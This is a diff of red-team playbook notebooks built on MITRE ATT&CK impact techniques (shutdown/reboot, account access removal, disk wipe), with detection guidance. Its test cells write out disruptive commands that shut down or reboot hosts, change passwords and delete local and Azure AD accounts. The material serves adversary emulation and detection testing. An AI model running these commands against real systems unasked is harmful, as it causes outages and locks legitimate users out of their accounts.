such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n" }, { "cell_type": "markdown", - "id": "e39e18ed", + "id": "60689f5f", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "1a2c9938", + "id": "1e44b88a", "metadata": {}, "source": "## Detection\nDetection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS." }, { "cell_type": "markdown", - "id": "08541d1b", + "id": "0f93e1c8", "metadata": {}, "source": "\n## Shield Active Defense\n### Network Manipulation \n Make changes to network properties and functions to achieve a desired effect. \n\n Network Manipulation allows a defender to throttle network speeds, segment the network, maintain a unique IP addressing scheme, or add a kill switch to cut off network access if needed.\n#### Opportunity\nThere is an opportunity to alter the network configuration in order to disrupt an adversary who is trying to saturate the network or a system via denial of service.\n#### Use Case\nA defender can configure network devices to analyze network traffic, detect a potential DoS attack, and make appropriate adjustments to mitigate the situation.\n#### Procedures\nAdd a kill switch to a decoy network that can be used to shutdown all network communication if an adversary takes an action that is out of the desired scope.\nIntroduce intermittent network packet loss on a decoy network to interfere with an adversary's activities.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1529.ipynb b/playbook/tactics/impact/T1529.ipynb index 4f95d5e6..0cedbd83 100644 --- a/playbook/tactics/impact/T1529.ipynb +++ b/playbook/tactics/impact/T1529.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "7519205f", + "id": "bf7439c7", "metadata": {}, - "source": "# T1529 - System Shutdown/Reboot\nAdversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)" + "source": "# T1529 - System Shutdown/Reboot\nAdversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A)\n\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)" }, { "cell_type": "markdown", - "id": "5437d600", + "id": "995ab66f", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "25f4c888", + "id": "7b22ec80", "metadata": {}, "source": [ "### Atomic Test #1 - Shutdown System - Windows", @@ -28,14 +28,14 @@ { "cell_type": "code", "execution_count": null, - "id": "c247adc1", + "id": "6c76a17c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1529 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b1dadd88", + "id": "09f2d809", "metadata": {}, "source": [ "### Atomic Test #2 - Restart System - Windows", @@ -49,143 +49,185 @@ { "cell_type": "code", "execution_count": null, - "id": "783efb54", + "id": "41e72415", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1529 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "8c4315ec", + "id": "79cd732b", "metadata": {}, "source": [ - "### Atomic Test #3 - Restart System via `shutdown` - macOS/Linux", - "This test restarts a macOS/Linux system.\n", - "**Supported Platforms:** macos, linux", + "### Atomic Test #3 - Restart System via `shutdown` - FreeBSD/macOS/Linux", + "This test restarts a FreeBSD/macOS/Linux system.\n", + "**Supported Platforms:** linux, macos", "\nElevation Required (e.g. root or admin)", - "#### Attack Commands: Run with `bash`\n", - "```bash\nshutdown -r now\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nshutdown -r now\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "08712185", + "id": "5a318009", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1529 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "cd1871e6", + "id": "b1c60641", "metadata": {}, "source": [ - "### Atomic Test #4 - Shutdown System via `shutdown` - macOS/Linux", - "This test shuts down a macOS/Linux system using a halt.\n", - "**Supported Platforms:** macos, linux", + "### Atomic Test #4 - Shutdown System via `shutdown` - FreeBSD/macOS/Linux", + "This test shuts down a FreeBSD/macOS/Linux system using a halt.\n", + "**Supported Platforms:** linux, macos", "\nElevation Required (e.g. root or admin)", - "#### Attack Commands: Run with `bash`\n", - "```bash\nshutdown -h now\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nshutdown -h now\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a6865a6b", + "id": "39b704b8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1529 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "94a96f13", + "id": "8624e09d", "metadata": {}, "source": [ - "### Atomic Test #5 - Restart System via `reboot` - macOS/Linux", - "This test restarts a macOS/Linux system via `reboot`.\n", - "**Supported Platforms:** macos, linux", + "### Atomic Test #5 - Restart System via `reboot` - FreeBSD/macOS/Linux", + "This test restarts a FreeBSD/macOS/Linux system via `reboot`.\n", + "**Supported Platforms:** linux, macos", "\nElevation Required (e.g. root or admin)", - "#### Attack Commands: Run with `bash`\n", - "```bash\nreboot\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nreboot\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "8adbbe0f", + "id": "43a551a9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1529 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "95054c84", + "id": "643c6677", "metadata": {}, "source": [ - "### Atomic Test #6 - Shutdown System via `halt` - Linux", - "This test shuts down a Linux system using `halt`.\n", + "### Atomic Test #6 - Shutdown System via `halt` - FreeBSD/Linux", + "This test shuts down a FreeBSD/Linux system using `halt`.\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", - "#### Attack Commands: Run with `bash`\n", - "```bash\nhalt -p\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nhalt -p\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "9d1acfc2", + "id": "65854466", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1529 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "bd793576", + "id": "14974e23", "metadata": {}, "source": [ - "### Atomic Test #7 - Reboot System via `halt` - Linux", - "This test restarts a Linux system using `halt`.\n", + "### Atomic Test #7 - Reboot System via `halt` - FreeBSD", + "This test restarts a FreeBSD system using `halt`.\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", - "#### Attack Commands: Run with `bash`\n", - "```bash\nhalt --reboot\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nhalt -r\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "c41830a1", + "id": "b9c1fb21", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1529 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "c75a0146", + "id": "d89268c5", "metadata": {}, "source": [ - "### Atomic Test #8 - Shutdown System via `poweroff` - Linux", - "This test shuts down a Linux system using `poweroff`.\n", + "### Atomic Test #8 - Reboot System via `halt` - Linux", + "This test restarts a Linux system using `halt`.\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `bash`\n", - "```bash\npoweroff\n```" + "```bash\nhalt --reboot\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "f37cbc72", + "id": "931d974b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1529 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "6f0cb988", + "id": "7d5f86ee", "metadata": {}, "source": [ - "### Atomic Test #9 - Reboot System via `poweroff` - Linux", + "### Atomic Test #9 - Shutdown System via `poweroff` - FreeBSD/Linux", + "This test shuts down a FreeBSD/Linux system using `poweroff`.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\npoweroff\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7bbf00a7", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1529 -TestNumbers 9" + }, + { + "cell_type": "markdown", + "id": "a95b139f", + "metadata": {}, + "source": [ + "### Atomic Test #10 - Reboot System via `poweroff` - FreeBSD", + "This test restarts a FreeBSD system using `poweroff`.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\npoweroff -r 3\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "65aa1579", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1529 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "e1ac3894", + "metadata": {}, + "source": [ + "### Atomic Test #11 - Reboot System via `poweroff` - Linux", "This test restarts a Linux system using `poweroff`.\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", @@ -196,17 +238,17 @@ { "cell_type": "code", "execution_count": null, - "id": "d6c21635", + "id": "8222000e", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1529 -TestNumbers 9" + "source": "Invoke-AtomicTest T1529 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "17ed37a6", + "id": "767511eb", "metadata": {}, "source": [ - "### Atomic Test #10 - Logoff System - Windows", + "### Atomic Test #12 - Logoff System - Windows", "This test performs a Windows system logoff as seen in [dcrat backdoor capabilities](https://www.mandiant.com/resources/analyzing-dark-crystal-rat-backdoor)\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -217,20 +259,20 @@ { "cell_type": "code", "execution_count": null, - "id": "061380eb", + "id": "9cd1341b", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1529 -TestNumbers 10" + "source": "Invoke-AtomicTest T1529 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "65f795ab", + "id": "25cf7598", "metadata": {}, "source": "## Detection\nUse process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006. Unexpected or unauthorized commands from network cli on network devices may also be associated with shutdown/reboot, e.g. the reload command." }, { "cell_type": "markdown", - "id": "44a4cd09", + "id": "8e9d4a0f", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy System \n Configure a computing system to serve as an attack target or experimental environment. \n\n A decoy system is a computing resource presented to the adversary in support of active defense. The underlying system can be real, virtual, or simulated, and can be presented as one of a variety of IT devices including user workstations, servers, networking systems, IOT (embedded devices), mobile systems like phones, etc.\n#### Opportunity\nThere is an opportunity to study the adversary and collect first-hand observations about them and their tools.\n#### Use Case\nA defender can deploy a decoy system to see if an adversary attempts to shutdown or reboot the device.\n#### Procedures\nUse an isolated system to visit a suspected compromised website. Collect any associated scripting code or files dropped onto the system.\nSetup a server which appears to be something that is commonly expected within a network, such as web server.\n" } @@ -238,13 +280,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1531.ipynb b/playbook/tactics/impact/T1531.ipynb index 63da9639..3e8c2b95 100644 --- a/playbook/tactics/impact/T1531.ipynb +++ b/playbook/tactics/impact/T1531.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "3e80ea5d", + "id": "5ecfd113", "metadata": {}, - "source": "# T1531 - Account Access Removal\nAdversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\n\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. In Linux, the passwd utility may be used to change passwords. Accounts could also be disabled by Group Policy. \n\nAdversaries who use ransomware may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. " + "source": "# T1531 - Account Access Removal\nAdversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\n\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. In Linux, the passwd utility may be used to change passwords. Accounts could also be disabled by Group Policy. \n\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. " }, { "cell_type": "markdown", - "id": "0b1fbe4a", + "id": "370456b4", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "6bbaa5bd", + "id": "e585dfdc", "metadata": {}, "source": [ "### Atomic Test #1 - Change User Password - Windows", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ba8ffb0b", + "id": "3f00f13d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1531 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "1869666a", + "id": "a09b8f9c", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet.exe user AtomicAdministrator /delete >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9b64cce9", + "id": "4efe66e3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1531 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "af7cab73", + "id": "53d84e4a", "metadata": {}, "source": [ "### Atomic Test #2 - Delete User - Windows", @@ -63,28 +63,28 @@ { "cell_type": "code", "execution_count": null, - "id": "05cabdcc", + "id": "1011f67c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1531 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "d16307e0", + "id": "c66e73d0", "metadata": {}, "source": "### Atomic Test #3 - Remove Account From Domain Admin Group\nThis test will remove an account from the domain admins group\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Requires the Active Directory module for powershell to be installed.\n\n##### Check Prereq Commands:\n```powershell\nif(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nAdd-WindowsCapability -Online -Name \"Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bec2ea9c", + "id": "cfd77c87", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1531 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "64a1f260", + "id": "621a030a", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -94,20 +94,201 @@ { "cell_type": "code", "execution_count": null, - "id": "70677a27", + "id": "a9c9de2d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1531 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "3ed2d1a3", + "id": "434633d0", + "metadata": {}, + "source": [ + "### Atomic Test #4 - Change User Password via passwd", + "This test changes the user password to hinder access to the account using passwd utility.\n", + "**Supported Platforms:** macos, linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\npasswd ARTUser #enter admin password > enter new password > confirm new password\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "50ade845", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1531 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "582a9ed5", + "metadata": {}, + "source": [ + "### Atomic Test #5 - Delete User via dscl utility", + "This test deletes the user account using the dscl utility.\n", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\ndscl . -delete /Users/ARTUser #enter admin password\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "af6d8b32", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1531 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "1d9b4c8a", + "metadata": {}, + "source": "#### Cleanup: \n```sh\ndscl . -create /Users/ARTUser #enter admin password\ndscl . -create /Users/ARTUser UserShell /bin/bash\ndscl . -create /Users/ARTUser UniqueID 503\ndscl . -create /Users/ARTUser NFSHomeDirectory /Users/ARTUser\ndscl . -passwd /Users/ARTUser ARTPassword #enter password for new user\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "cb9f8c7f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1531 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "d67bc7be", + "metadata": {}, + "source": [ + "### Atomic Test #6 - Delete User via sysadminctl utility", + "This test deletes the user account using the sysadminctl utility.\n", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nsysadminctl -deleteUser ARTUserAccount #enter admin password\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ccec015f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1531 -TestNumbers 6" + }, + { + "cell_type": "markdown", + "id": "1cbc064c", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nsysadminctl -addUser ARTUserAccount -fullName \"ARTUser\" -password ARTPassword\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a517a7cf", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1531 -TestNumbers 6 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "1675a753", + "metadata": {}, + "source": "### Atomic Test #7 - Azure AD - Delete user via Azure AD PowerShell\nDeletes a user in Azure AD. Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (excluding changed credentials) to remove access to accounts.\n**Supported Platforms:** azure-ad\n#### Dependencies: Run with `powershell`!\n##### Description: Check if AzureAD PowerShell module is installed\n##### Check Prereq Commands:\n```powershell\nGet-InstalledModule -Name AzureAD\n```\n##### Get Prereq Commands:\n```powershell\necho \"use the following to install AzureAD PowerShell module - Install-Module -Name AzureAD -Scope CurrentUser -Repository PSGallery -Force\"\n```\n##### Description: Check if AzureAD PowerShell module is installed\n##### Check Prereq Commands:\n```powershell\nUpdate the input arguments so the userprincipalname value is accurate for your environment\n```\n##### Get Prereq Commands:\n```powershell\necho \"Update the input arguments in the .yaml file so that the userprincipalname value is accurate for your environment\"\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "12efe97c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1531 -TestNumbers 7 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "9bb38858", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nConnect-AzureAD\n$userprincipalname = \"atomicredteam@yourdomain.com\"\nRemove-AzureADUser -ObjectId $userprincipalname```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f8158b27", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1531 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "fffe37a3", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nN/A```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "44176463", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1531 -TestNumbers 7 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "9cec1b65", + "metadata": {}, + "source": "### Atomic Test #8 - Azure AD - Delete user via Azure CLI\nDeletes a user in Azure AD. Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (excluding changed credentials) to remove access to accounts.\n**Supported Platforms:** azure-ad\n#### Dependencies: Run with `powershell`!\n##### Description: Check if Azure CLI is installed and install manually\n##### Check Prereq Commands:\n```powershell\naz account list\n```\n##### Get Prereq Commands:\n```powershell\necho \"use the following to install the Azure CLI manually https://aka.ms/installazurecliwindows\"\n```\n##### Description: Check if Azure CLI is installed and install via PowerShell\n##### Check Prereq Commands:\n```powershell\naz account list\n```\n##### Get Prereq Commands:\n```powershell\necho \"use the following to install the Azure CLI $ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://aka.ms/installazurecliwindows -OutFile .\\AzureCLI.msi; Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet'; Remove-Item .\\AzureCLI.msi\"\n```\n##### Description: Update the userprincipalname to meet your requirements\n##### Check Prereq Commands:\n```powershell\nUpdate the input arguments so the userprincipalname value is accurate for your environment\n```\n##### Get Prereq Commands:\n```powershell\necho \"Update the input arguments in the .yaml file so that the userprincipalname value is accurate for your environment\"\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "72573060", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1531 -TestNumbers 8 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "032e0357", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\naz login\n$userprincipalname = \"atomicredteam@yourdomain.com\"\naz ad user delete --id $userprincipalname```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "60ce6f4a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1531 -TestNumbers 8" + }, + { + "cell_type": "markdown", + "id": "48136ed9", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nN/A```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "42c39554", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1531 -TestNumbers 8 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "130bb80b", "metadata": {}, "source": "## Detection\nUse process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:\n\n* Event ID 4723 - An attempt was made to change an account's password\n* Event ID 4724 - An attempt was made to reset an account's password\n* Event ID 4726 - A user account was deleted\n* Event ID 4740 - A user account was locked out\n\nAlerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible." }, { "cell_type": "markdown", - "id": "9a013a4c", + "id": "2de309fd", "metadata": {}, "source": "\n## Shield Active Defense\n### System Activity Monitoring \n Collect system activity logs which can reveal adversary activity. \n\n Capturing system logs can show logins, user and system events, etc. Collecting this data and potentially sending it to a centralized location can help reveal the presence of an adversary and the actions they perform on a compromised system.\n#### Opportunity\nThere is an opportunity to create a detection with a moderately high probability of success.\n#### Use Case\nA defender can implement monitoring to alert if a user account is altered outside normal business hours, from remote locations, etc.\n#### Procedures\nEnsure that systems capture and retain common system level activity artifacts that might be produced.\nMonitor Windows systems for event codes that reflect an adversary changing passwords, adding accounts to groups, etc.\n" } @@ -115,13 +296,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1561.001.ipynb b/playbook/tactics/impact/T1561.001.ipynb index 5167180f..5f63f48d 100644 --- a/playbook/tactics/impact/T1561.001.ipynb +++ b/playbook/tactics/impact/T1561.001.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "1f0ca6f8", + "id": "1693d354", "metadata": {}, - "source": "# T1561.001 - Disk Content Wipe\nAdversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)" + "source": "# T1561.001 - Disk Content Wipe\nAdversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have also been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)" }, { "cell_type": "markdown", - "id": "3cbf9dbc", + "id": "7dda6d80", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "78eaa67c", + "id": "5fa3a248", "metadata": {}, - "source": "## Detection\nLook for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\.\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity." + "source": "## Detection\nLook for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\.\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\n\nFor network infrastructure devices, collect AAA logging to monitor for `erase` commands that delete critical configuration files." } ], 